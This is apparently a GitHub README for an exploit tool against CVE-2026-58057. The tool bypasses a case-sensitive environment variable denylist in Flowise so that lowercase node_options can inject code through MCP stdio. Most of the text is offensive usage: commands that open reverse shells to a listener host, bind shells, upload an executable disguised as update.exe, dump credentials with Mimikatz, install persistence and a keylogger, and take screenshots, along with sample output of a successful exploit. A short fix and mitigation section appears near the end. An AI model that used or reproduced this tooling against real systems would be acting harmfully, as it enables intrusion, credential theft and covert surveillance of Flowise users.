
Flowise Windows RCE exploit for CVE-2026-58057. Bypasses environment variable validation via case-sensitive flaw. Uses node_options to inject arbitrary code through MCP stdio. Supports reverse shell, persistence, file upload, credential dumping. For authorized security testing only.
This is a production-grade exploit for CVE-2026-58057, a critical Remote Code Execution vulnerability in Flowise on Windows platforms. The vulnerability arises from case-sensitive environment variable validation that fails to block lowercase node_options, allowing attackers to bypass the NODE_OPTIONS denylist and execute arbitrary code through Custom MCP stdio configuration.
The exploit demonstrates professional software engineering practices with modular architecture, comprehensive error handling, and support for multiple payload types.
IMPORTANT: This tool is provided for authorized security testing, penetration testing, and educational purposes only.The author is not responsible for any misuse or damage caused by this software.Always obtain proper authorization before testing any system.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
Attacker authenticates to Flowise
Creates/Modifies Custom MCP stdio node
Injects lowercase node_options environment variable
Sets value to --require malicious-loader.js
Node.js executes loader when MCP stdio runs
Arbitrary code execution achieved
✅ Reverse Shell - Connect back to attacker machine
✅ Bind Shell - Open listening port on target
✅ Command Execution - Run arbitrary system commands
✅ File Upload - Upload files to target system
✅ Persistence - Multiple persistence mechanisms
✅ Information Gathering - Collect system intelligence
✅ Credential Dumping - Mimikatz integration
✅ Screenshot Capture - Capture desktop screenshots
✅ Keylogger - Install keylogging capability
🔐 Multiple Authentication Methods - API key or username/password
🔄 Auto-Retry Logic - Resilient against network issues
🧹 Self-Cleaning - Removes loader files from target
🌐 Cross-Platform - Works on Windows/Linux/macOS
🎨 Colored Output - Enhanced readability
📊 Verbose Debugging - Detailed logging for troubleshooting
Python 3.6 or higher
pip (Python package manager)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Option | Description |
|---|---|
--interactive | Start interactive shell |
--verbose | Enable debug output |
--timeout |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
Restrict access to Custom MCP configuration
Implement network segmentation
Monitor for suspicious environment variables
Use Web Application Firewall (WAF )
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
Fork the repository
Create feature branch (git checkout -b feature/amazing )
Commit changes (git commit -m 'Add amazing feature')
Push to branch (git push origin feature/amazing)
Open Pull Request
This project is licensed under the MIT License - see the LICENSE file for details.
FlowiseAI for the product
Security researchers who discovered similar vulnerabilities
Pentesting community for testing methodologies
Author: Sudeepa Wanigarathna Security Researcher & Penetration Tester
If you find this tool useful, please consider:
⭐ Starring the repository on GitHub
🔔 Following for updates
📝 Reporting issues or suggestions
Made with ❤️ for the security community
| Option | Description | Example |
|---|
-t, --target | Flowise URL (Required) | http://localhost:3000 |
-k, --api-key | Flowise API key | flowise_abc123... |
-u, --username | Username | admin |
-p, --password | Password | password123 |
| Option | Description | Example |
|---|
--payload | Payload type | reverse_shell |
--lhost | Listener host | 192.168.1.100 |
--lport | Listener port | 4444 |
--command | Command to execute | whoami |
--local-file | File to upload | payload.exe |
--remote-path | Remote save path | C:\\Temp\\update.exe |
| Request timeout in seconds |
--retries | Number of retry attempts |
| Payload | Description | Arguments |
|---|
reverse_shell | Connect back to listener | --lhost, --lport |
bind_shell | Open listening port | --lport |
command_exec | Execute command | --command |
file_upload | Upload file to target | --local-file, --remote-path |
persistence | Install persistence | None |
info_gather | Collect system info | None |
mimikatz | Dump credentials | None |
screenshot | Capture screenshot | None |
keylogger | Install keylogger | None |
| Issue | Solution |
|---|
| SSL Certificate Error | pip install --trusted-host pypi.org -r requirements.txt |
| Permission Denied | pip install --user -r requirements.txt |
| Connection Refused | Verify target URL and network connectivity |
| Authentication Failed | Check API key or username/password |
| Payload Fails | Use --verbose for detailed debugging |
| Python Version | Ensure Python 3.6+ is installed |